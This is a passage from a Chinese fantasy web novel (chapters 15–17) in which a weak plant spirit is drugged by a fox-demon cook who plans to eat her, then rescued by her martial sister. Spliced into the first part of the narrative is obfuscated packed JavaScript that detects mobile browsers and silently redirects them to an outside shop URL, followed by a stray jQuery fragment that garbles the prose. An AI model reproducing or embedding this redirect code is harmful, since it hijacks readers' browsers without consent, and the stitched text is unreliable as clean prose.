问仙台之上,未知用途的阵法。 问后山禁地,破了与未破的两道封印。 问那一夕之间失了踪迹的魔剑,问没能守住魔剑封印的天道门,何时才能给众仙门一个交代。 可离山已久,对此一无所知的两人,哪又能答得上这么多的问题? 祈枝贴着身后冰凉的墙壁,听着外头那一声声的质问,好几次想要出去说点什么,最后却都按下了心底的那股冲动。 她深吸了一口长气,向着小巷深处跑去。 无知无觉间,轻雾似的一缕灵光悄然落在了她的身后。 人群之中,明松雪似是有所感应,朝着某个方向望了数秒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983836|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短暂迟疑后,她向身侧之人靠了些许,传音入密:“师兄,方才我好像看见十一师妹了。” 沈逐星眼底闪过一丝诧异,于一声声质问与斥责中缓闭双眼,看似不耐,实则向外释出了一道无声无形的搜灵之术。 静默片刻,搜寻无果,他无声一叹,皱眉摇了摇头。 “许是我看错了吧。”明松雪不由得握紧了手中的剑,眼底多了几分失落,“就连师尊也为此殒命……她连修炼都如此艰难,怎么可能活得下来。” …… 祈枝顺着小巷走了一路,绕了好大一个圈子,终于是避开了不敢见的人,找到了小二口中的驿站。 许是运气好吧,她刚到此处,便看见了昨日带她来此的那位车夫。 那车夫也一眼认出了她,上前同她打了个招呼。 “大老远来,就待一天啊?” “嗯!” “这次又想去哪儿?” “清溪郡!” “清溪郡啊?”车夫似是思考了一会儿,对她说,“刚好顺路,我再捎你一程?” 祈枝听了,心中大喜,当即点了点头,开开心心跳上了那辆熟悉的马车。 天上的雪越下越大,马车驶向东方,留下长长两道很快便会被风雪掩没的车辙。 祈枝将脑袋探出车窗,望着身后越来越远,远到渐渐消失不见的青石镇,一颗心不由得感慨万千。 大师兄,三师姐…… 其实在很遥远的记忆里,他们也曾关心过她,只是皇城好远,数十年都难得一见。 如今天道门出了事,他们自是要回去面对很多事情的。 可惜—— 仙台之上的法阵,是她的夺命锁。 屠戮山门的魔头,是这数百年来对她最好的人。 有些话,任凭她有多少张嘴都说不明白。 琼琚山不会是她的归处,她不能跟他们回去。 “对不起……” 祈枝小声嘟囔着,任凭一阵风吹散了心底所有的不舍。 高高兴兴翻出包袱里的糖心馒头,三两下挪到车门旁,掀开车帘,给外头驾车的好心车夫递了一个,然后自己也拿了一个。 “谢谢啊,小姑娘。” “是我谢谢你才对呀!又载了我一程!” “哈哈哈哈……”车夫随口说漏了个嘴,“我也不是没收钱。” “啊?”祈枝歪了歪头。 “啊没什么。” “……” 搞不懂诶,还是吃馒头吧! 16.第 16 章 马儿赶了彻夜的路,当行至清溪郡时,祈枝正抱着包袱,缩在车里,睡得脖子酸痛。 她这一觉睡得并不安稳,跳下车时整个人都恍恍惚惚的。 茫然回身时,那好心的车夫问她可还有回去的打算,见她揉着眼睛摇了摇头,便驾着空车回了青石镇。 祈枝抱着包袱,茫然地走在陌生的街上,任由那夹着细雪的寒风吹凉了自己。 忽然,她打了一个冷颤,回神后连忙加快脚步,一路东张西望地寻了间客栈住下。 外头太冷了,她泡了个热水脚,才感觉身子渐渐暖了起来。 来时路上没怎么睡好,祈枝困兮兮地啃了个冷馒头,稍微垫了下肚子,人往被窝里一缩,眼睛一闭,便沉沉地睡了过去。 再次醒来,是第二日的清晨。 祈枝一心念着先前那个小二口中“吃了能暖一整日”的汤锅,刚洗漱完便抱着自己的小包袱跑下楼去,向掌柜的问了一下汤锅的事。 “汤锅啊……”掌柜的想了想,告诉她,“想要最好吃的,就得去找月娘子。” “月娘子?” “你就往北街去,顺着一直走,有个小院儿种了火棘。找到这院子,再前头那巷口,拐进去就是!” “噢噢,火棘……”祈枝认真记着。 “她家的羊肉汤锅味儿最鲜美,要再配上一壶人自个儿酿的细麴酒,那真是从头暖到脚。”掌柜的说着,自己都似有些馋了,浅浅吞咽了一下,“这天寒地冻的,多少人就好那一口,走再远也得去吃上一趟……” 祈枝听得直馋,也不顾外头多冷,就兴匆匆地照着掌柜说的一路寻了过去。 这地方离客栈还挺远的,祈枝感觉自己走了少说一时辰,这才遥遥望见了几枝探出院墙的火棘。 落雪半掩着那一串串的明红,是她冬日里最爱为阿云采摘的果子。 祈枝仰着头,在院墙外站了一会儿,忍不住踮起脚尖,伸手摘下一串,边走边吃起来。 她都还没拐进小巷,便闻着了一阵扑鼻的香味儿。 客栈掌柜口中那个月娘子的汤锅,它还真就叫做“月娘子汤锅”。 店门是关着的,门口立着好大一块木牌,上面写着店里的招牌菜式,不止有热乎的汤锅,还有好酒好菜。 祈枝俯身看了一会儿,还没想好要吃什么,就已经被店里飘出来的味儿勾得快要认不得字了。 “这还不到饭点,怎么都有客人了?”一个很是柔媚的声音从里头远远地传了出来,“槐序,快去看看!” 很快,屋内传来一阵脚步声响,房门被人轻轻拉开。 祈枝回过神来,抬头看向了眼前为她开门的姑娘。 一瞬的四目相对,祈枝眼底多了一分惊喜。 如果没有看错,这个叫槐序的姑娘,和她一样,都是妖。 离山这些天,她还是第一次在人类的地盘看见妖族呢。 槐序:“来吃饭的?” 祈枝:“嗯!” 槐序:“要等一会儿哦,汤还没熬好,饭也还没开始蒸呢。” 祈枝点头,跟着槐序进了店。 许是为了保暖,店门被再次关上,屋内烧着炭盆,炭是上好的,没什么烟味,暖和得很。 祈枝搓着双手凑上前去,俯身烤起了暖暖的炭火。 不一会儿,先前那柔媚动人的声音又一次响了起来。 祈枝下意识循声望去,只见一个千娇百媚的女子向她迎了过来。 “来这么早的客人倒是少见!” 那女子说着,绕开沿路的桌椅,脚步轻盈得跟飘似的,笑吟吟地坐到了她的身侧,开口便是一句:“还是个小妖精呢。” 祈枝眨了眨眼,忽然有些不知所措。 “都是妖精,不必紧张。”那女子说着,单手托腮,将祈枝上下打量了一遍,弯眉道,“我叫月锦珠,这里的人都唤我月娘子。你呢?” “我叫祈枝。”祈枝小声应着,“我听人说,你这儿的汤锅很好吃。” “那是!”月锦珠起身,轻轻拍了一下祈枝的肩膀,“你等着,我去给你弄来。” 祈枝点了点头,乖巧地等在了原处。 不一会儿,热腾腾的羊肉汤锅便被槐序端了过来。 锅下燃着一个炭盆,桌上摆满了各种切成薄片的肉菜盘子,月娘子告诉祈枝,锅里的肉本就是熟的,桌上这些呢,放进锅里烫上一会儿也就可以吃了。 月娘子说着,还为她盛了一碗汤。说什么,还没下过菜的第一碗汤是最鲜的。 祈枝第一次见这样的吃法,新鲜得不行,端起碗筷就再没舍得放下过。 似是因为来得太早,店里没什么客人,月娘子一直坐在她的身旁,帮她下菜,为她倒酒,还告诉她用汤泡饭味道更香。 吃着吃着,月锦珠便向她问起了一些事情。 “你是哪儿的小妖啊?” “就,就山上的。”祈枝吃得认真,答得含糊,“是野草。” “看这打扮,倒像是哪个仙门的小弟子。” “没,没……”祈枝眼都不敢抬,只埋头吃着碗中的菜,“我天资不好,没有仙门看得上我。” “那些大大小小的仙门里,资质平平的大有人在,我们这些已经化了形的妖精,天资再差又能差到哪里去?” 祈枝咽下一口煮得软烂的羊肉,打了一个饱嗝,抬眼看向月锦珠,自嘲似得笑了笑:“差成我这样呗,灵根是坏的,蓄不了灵力。” 月锦珠:“那你怎么化形的?” 祈枝:“不知道。” 月锦珠若有所思地为她倒了一杯酒,递上前去:“那,你是一个人?” 祈枝接过酒杯,点了点头。 “真不是哪个仙门的呀?” “不是!”祈枝说着,将杯中酒水一饮而尽。 末了,她望着汤锅里所剩无几的肉菜,缓缓地舒了一口长气。 这也太好吃了吧! 从前也没有人告诉过她,山外的人都吃得这么好啊! “谢谢你啊,月娘子!”祈枝摸了摸撑得圆鼓鼓的肚子,望着月锦珠的眼睛亮闪闪的,“我明天还可以来这儿吃这个吗?” “明天吗?” “嗯!” 月锦珠弯眉笑道:“好啊,先要把今天的钱付了吧。” 祈枝歪了歪头,眼底生出几分困惑。 “对。”月锦珠说着,回身看了一眼槐序,“来,算下账。” 槐序拿起一个算盘,啪嗒啪嗒算着什么,祈枝不由得坐直了身子。 什么钱,什么账,祈枝不懂。 但是这个算盘,她还是十分眼熟的。 从前她每一次去领日用,都要站那儿听半天的算盘声,算她那点微末的贡献够领多少东西。 这么一看,山外的东西也不全是可以白拿的…… 祈枝听槐序算了半天,说出了一个她听不懂的交换条件,一时心虚得不敢吱声。 月锦珠:“你不会没钱吧?” 祈枝:“……” 月锦珠:“这世上可没有白吃白喝的道理呢。” 祈枝缩了缩脖子,忙把肩上的包袱取下,放在腿上,扯开翻找了一会儿。 月锦珠抱臂坐在一旁,似笑非笑地望着她。 祈枝抿了抿唇,茫然地、心虚地、不太确定地,看上去不怎么聪明地,把自己没有吃完的冷馒头放到了桌上。 而后,没怎么抱希望,却偏小心翼翼地试探着,将其缓缓推到了月锦珠的面前——妄图蒙混过关。 月娘子略一挑眉,翘起手指,拎开纸袋看了一眼,不由失笑。 祈枝瞬间把头埋得老低。 “馒头啊?”月锦珠歪了歪头,眼底笑意渐深,“耍我呢,小草。” 祈枝哪敢说话。 月锦珠:“你 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“那便是偷来的了。”月锦珠继续打趣着,“怕被人发现,所以藏得那么深。” “我,我没有偷!” 祈枝慌忙解释着,急得眼圈都有些红了。 月锦珠见她一副快要哭出来的模样,一时也不再戏弄,只一个旋身来到她的身后,趁她不注意,将这玉簪随手簪入了她的发间。 末了,飘然退至一旁,侧身倚桌,浅笑着向她发间望去。 祈枝愣了一下,后知后觉地伸手摸了摸发间的玉簪,发现月锦珠真将它还给了自己,不由得松了口气。 “月娘子,谢……” 祈枝话音都还未落,便觉眼前一黑,瘫软着身子倒在了桌上。 槐序靠了过来,双手扶膝,弯腰俯身,认真打量起了眼前昏迷不醒的小妖。 修为低低的,看上去很是寻常。 槐序:“不是不吃妖吗?” 月锦珠缓步上前,闭上双眼,在祈枝身侧用力嗅了一下,唇角微扬:“忍不住啊,她的灵根,闻起来不太一样。” 槐序:“怎么不一样?” 月锦珠睁眼,抬手轻抚过槐序的鼻梁,弯着眉眼,柔声打趣道:“嗅觉的事,和你这种长个鼻子出来就是为了好看的家伙说不清楚的。” 槐序默然,良久,淡淡说道:“你方才神色不对。” 月锦珠:“你看那簪子。” 槐序:“簪上未见灵力,不就是一件寻常首饰?” “可不寻常呢。”月锦珠抬眼看向槐序,笑得很是玩味,“这是问心簪。” “问心簪?” “嗯~!”月锦珠笑着解释道,“这问心簪呀,需以我们狐族的秘法炼制,且过程极其麻烦,还需耗损一定修为。虽算不上世间罕有,但也不是随便什么人都能弄得到的。” “是什么很厉害的法器吗?” 月锦珠摇头,弯眉浅浅一笑:“它呀,不过就是一个答案。” “答案?” “狐狸嘛,媚术用多了,总分不清人心的真真假假。”月锦珠轻声说着,望向了祈枝发间那一朵纯白的花苞,“所以啊,世上有了这问心簪。” 她说,簪中有灵蛊,一生只认一主。 簪花闭合之时,任何术法都无法将其催开,唯有佩戴之人真正心悦那滴血之主,簪花才有可能绽放。 “……你们狐狸可真无趣。” “无趣?”月锦珠缓缓地摇了摇头,“不,这可一点都不无趣。” 落空的期望啊,最是令人执迷不悟了。 她光是想到有人用一片痴心,问来了那么刺骨的一个真相,便已觉得万分有趣。 有趣到,她都有点想见一下那个赠簪之人了。 17.第 17 章 盆中的炭火烧尽了,屋外仍是大雪漫天。 槐序望着身侧昏迷的少女。 半晌,皱眉道:“你既认得此簪,就不怕她身后之人身份并不简单?” “能有多不简单?这千百年来,有名有姓的家伙,我杀得还少了?傅青松活着的时候都不准他的弟子来管闲事,如今他死了,这方圆百里,还有谁是我惹不起的?”月锦珠笑着,眼底满是无所畏惧,“那人若真能寻到这里,我便发发善心,让他和自己的心上人死在一起就是。” “单一人是不用怕,但近日聚集在附近的修士可不少。” “那又如何?”月锦珠笑了笑,神情不屑,“北方灵脉生了魔气,天道门也没了,如今这人间乱得很,早就不差我这一桩一件了。” “那些一听天道门出事便涌向了琼琚山的家伙,哪个不是心怀鬼胎,各有各的腌臜事要做?”她说着,为自己倒了杯酒,语气无辜,“我不过就是悄悄吃了一两个人,又不是屠了座城,几个人抽得出那么多闲心来管我啊?” “……” 月锦珠起身摆了摆手:“好了好了,快把这小笨丫头藏起来,再过会儿都要午时了,别碍着我做生意。” 槐序闻言,不再多说什么,只以掌心释出蛛丝,将祈枝重重束缚,拽着一缕牵系的蛛丝,朝后院的方向走去。 月锦珠视线一瞥,没忍住追着那少女发间未绽的花苞多看了一眼,眸光微沉。 槐序再次回到她身旁时,见她将面前的酒喝了大半,不禁皱眉:“喝这么多做什么?” “没什么。”月锦珠摇了摇头,“只是看着那个小丫头,想起来一些事。” “……” “曾经,我也妄想过,有那么一朵灵花,能够绽放在心爱之人的发间。”她说着,自嘲地轻笑了两声,“可这世间无情的人啊,嘴上说得再怎么好听,眼里装得再怎么深情……那颗凉薄的心,都是不可能为你跳动的。” 月锦珠皱了皱眉,咬牙恨道:“我为他叛离灵尊,甘愿断了两尾,他却只想拿我的妖丹回师门邀功……若非我炼出了那支簪子,还真是差一点就着了他的道。” “后来呢?” “后来,我没忍住把那个人的心剖出来看了一眼——” “……” “倒是比我想象中要更温热一些。”月锦珠幽幽说着,似是陷入了一段很好的回忆,“那样的温度,我很喜欢。但我最喜欢的,还是看着它为我一人跳动的模样。” “你如愿了。” “是啊,捏在手上的东西,我想让它怎么动都行。” 月锦珠说着,闭目叹了一声。 再睁眼时,眸中已是一片冰冷。 “可惜,凉得太快了。”她说,“强求来的东西,总是不会长久。” 槐序沉默半晌,为炭盆换好新炭。 拉开店门,又是寻常的一天。 至于新抓的小姑娘,等晚上再去处理吧。 * 恍惚间,祈枝做了一个梦。 梦里,好心的车夫,热情的小二,卖包子的大叔,还有客栈的掌柜,汤锅店的月娘子,全都笑吟吟地围在她的身旁。 这世上没有那么多平白无故的善意。 她白拿了人家的好,所以人家现在要来向她讨回报了。 可她从来都是一无所有的,好像也就那残破的灵根勉强有人惦记。 所以大家商量起了如何将她分而食之。 明明那些人就在她的面前,可她的哭喊、祈求,好像都不会被人听见——或者说是,不会有人在乎。 无望中,她能握住的只有那支白玉的簪子。 仿佛只要握得够紧,就会有人来到她的身旁,听见她的声音…… 直到四周变得越来越黑,越来越静。 她跌入了一个幽深的洞穴,阴暗、潮湿,刺骨的寒凉,伴着死一样的寂静,将她彻底围困。 心底的恐惧,将她从噩梦中唤醒。 可是睁眼的那一刻,四周仍是一片昏黑,她什么都无法看清。 祈枝试着动了动身子,发现自己被什么东西紧紧束缚着,手、脚、胳膊,都不知为何,酸软得连挣扎的力气都没有。 她放弃了挣扎,在一片黑暗中睁着眼睛适应了好一会儿,终于可以看见一些黑暗中模糊的轮廓。 那是一些长条茧状的东西,静悄悄地悬在半空。 它们大小不一,似是散发着一股淡淡的,被人刻意掩饰过的血腥气。 在意识到这些东西很有可能是“人”后,祈枝止不住颤抖地把自己缩成了小小的一团。 这是哪儿?她昏迷了多久?现在的外头是白天还是晚上? 她也会死掉吗? 就像这些一个个悬起来的东西一样,也被挂在这个昏暗无光的地方。 祈枝乱七八糟想了挺多,因为没有答案,所以最终只剩下了一种挥之不去的恐惧。 时间不知过了多久,远处忽然响起一阵沉闷的声响。 远处的石门被人推开,暖黄的烛光洒进暗室,照亮了一片死寂的黑暗。 祈枝不太适应地借着那一抹微弱的烛光望了一眼四周。 本就凉飕飕的心,在这一刻更是直接凉透了。 她没有猜错,四周悬着的,是一个个被蛛丝层层束缚的人形血茧。 暗室的正中间,静置着一个刻满了妖纹的药鼎,鼎外血迹斑斑。 银白的蛛丝遍布此间,有几缕拴在她的身上,泛着微弱的灵光,似是一种能够让人失去气力的蛛毒。 祈枝浑身上下都泛起了一阵恶寒。 月锦珠端着一盏轻曳的烛灯,自入口的石阶上缓步走了下来。 略一低眉,便对上了祈枝满是惊惧的双眼。 “小草,你别怕~”月锦珠笑吟吟地向她走了过来,“虽只有一面之缘,可我还是挺喜欢你的,不然也不会耐着性子陪你吃那一顿饭,对吧?” “……”对,对吗? “你还真是安静呀,不哭不闹的。”月锦珠说着,将烛灯挂上墙面的灯槽,在祈枝面前蹲下了身子,弯眉看她,“你是不知道,以往我抓来的那些人,总会把我吵得耳根疼。” 祈枝没敢看她的眼睛,只小声问了一句:“你要吃了我吗?” “对呀。” “为什么啊……”祈枝声音轻颤着。 “为了变得更强啊。”月锦珠笑着摸了摸祈枝的头,“弱小的人,是保护不了自己的。就像你现在这样,只能在这里,可怜兮兮地问我为什么要吃你。” “你看这些,都是杀妖无数的仙门修士。”她说着,撑膝站起,目光扫过满室悬尸,似乎是在清点自己曾经的猎物,“他们大多一生斩妖除魔,好不威风,应是从来不曾想过,到头来自己的一身修为都会被我炼成丹药,而肉身就像这样封存着,供我这个他们口中的妖邪随时取用。” 话到此处,月锦珠俯身去问祈枝:“知道为什么吗?” 祈枝不由打了个寒颤,瑟瑟摇头。 “因为我比他们更强啊!”月锦珠掩唇轻笑,“我比他们弱时,他们对我喊打喊杀,从不需要缘由。我比他们强了,他们自然也该死在我的手里。这很公平。” 她说着,忽而叹了一声:“其实我平时不吃妖的。” “……” “但是你的味道,闻上去实在特别,我是真想尝尝。” 月锦珠的语气无辜极了,和她的表情一样,全然就是一副“我也不想的,都是你在勾引我”的理直气壮。 祈枝张了张嘴,顿了半晌,最后默默闭上了眼。 她想,她这次大概是真的死定了。 早知道吃顿饭能把命交了,她就躺在客栈的床上啃馒头了…… “小草,别怕。”月锦珠再次蹲下身来,将脸凑至祈枝耳畔,轻声低语,“槐序的蛛丝有毒,能够麻痹你的痛感,我动手很快的,不会让你感受到太多痛苦。” 话音落时,她将五指化作利爪,抵住了少女的头顶。 灵力淌过指尖,向祈枝灵识之海探去。 那试图侵入灵识之海的灵力,携着一丝幽寒,冲破了那一层本能而又微弱的灵力抵御。 那一瞬的疼痛,似要将她的魂魄抽离。 祈枝不禁拧紧了眉,咬牙强忍着没有哭出声来,一颗心却跳得几乎快要破体而出。 或许,命是真的不太好吧? 放弃挣扎那一刻,她的心里只剩下了这个念头。 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“那是自然……”月锦珠说着,余光瞥见头顶窟窿上伏着的槐序,顿时神色一沉,捂伤的手向身前一划,指尖鲜血凝针,瞬间如雨般飞掷而出。 慕轻时挥剑斩落十数血针,银白的蛛丝又紧随其后,于她手中之剑数度纠缠。 槐序见始终无法占优,悬丝飞回半空,双手绽开一张罗网,犹如万千细刃,铺天盖地般向慕轻时身后之人压了过去。 祈枝惊叫一声,下意识抬手去挡。 慕轻时不由蹙眉,回身之时,手中长剑嵌入石地,撑起一道灵力屏障,将身后的祈枝牢牢护住。 春生离手,蛛丝瞬间将她手腕缠绕。 月锦珠抓住时机,双手化作利爪,形似鬼魅,一个闪身便已扑至慕轻时的身侧,几招缠斗之下,趁她被蛛丝干扰,用力扣住了她的左肩。 尖爪刺入肌肤,释放妖毒,染红一片白衣。 下一秒,蛛丝将慕轻时双手紧紧束缚。 “师姐!” 祈枝不由惊吓出声,下一秒却又赶忙捂住了嘴。 月锦珠瞥了祈枝一眼,唇角勾起一抹不屑,对慕轻时笑道,“慕轻时,你灵根都毁了五百年了,不会以为自己还能是我的对手吧?” “昔日道尊在时,天道门的人我是不敢动。可现如今嘛——”她说着,拧眉摇了摇头,嘴角止不住地上扬,话语中满是娇媚,“我已经没什么好怕的了。” 月锦珠眼神得意,打量着眼前的猎物:“真是意外之喜啊,曾经仙门中名声最盛的天纵奇才,竟也会落到我的手上……” 她话音未落,脸上笑意不由凝固。 那嵌入了猎物血肉的利爪,忽被一团黑雾缭绕。月锦珠瞬间感受到了一阵刺骨的痛,惊觉不妙之时,想要抽身却已再来不及。 那黑雾顺着她的五指向上蔓延,蚕食着碰触到的每一寸血肉,直至如花叶般干枯萎缩,仿佛触之可折。 “魔气!”月锦珠声音颤抖,瞪大了惊惧的双眼。 短暂犹疑后,她心一横,咬牙抬爪,扯断了自己被魔气吸附住的右手。 槐序飞身跃至月锦珠的身侧,银色的蛛丝瞬间将那扭曲狰狞的断臂包裹,鲜血却仍止不住地向外溢着。 烛火摇晃着她残缺的影子,那千娇百媚的容颜上已然没了半分笑意,只有深深的恐惧。 月锦珠声音轻颤:“慕轻时……你身上怎么会有魔气!” 慕轻时:“你怎么不问,所有人都死了,我为何还活着?” 月锦珠:“……” 黑雾融断了缠缚在慕轻时身上的蛛丝。 她持剑缓步向前,声似寒潭:“你吓着我师妹了。” 月锦珠张了张嘴,还没来得及说上什么,便已被一种无形的力量扼住了咽喉。 她看见了一把于魔气中缓缓凝形的长剑。 剑身漆黑如墨,隐隐泛着暗红的血烟。 有一阵几乎可以凝结血液的寒意,随着那不知何时散开的黑雾,悄然弥漫了昏暗的地室。 唯有春生剑下方寸之地,在烛火摇曳的微光之下,仍旧干净如初。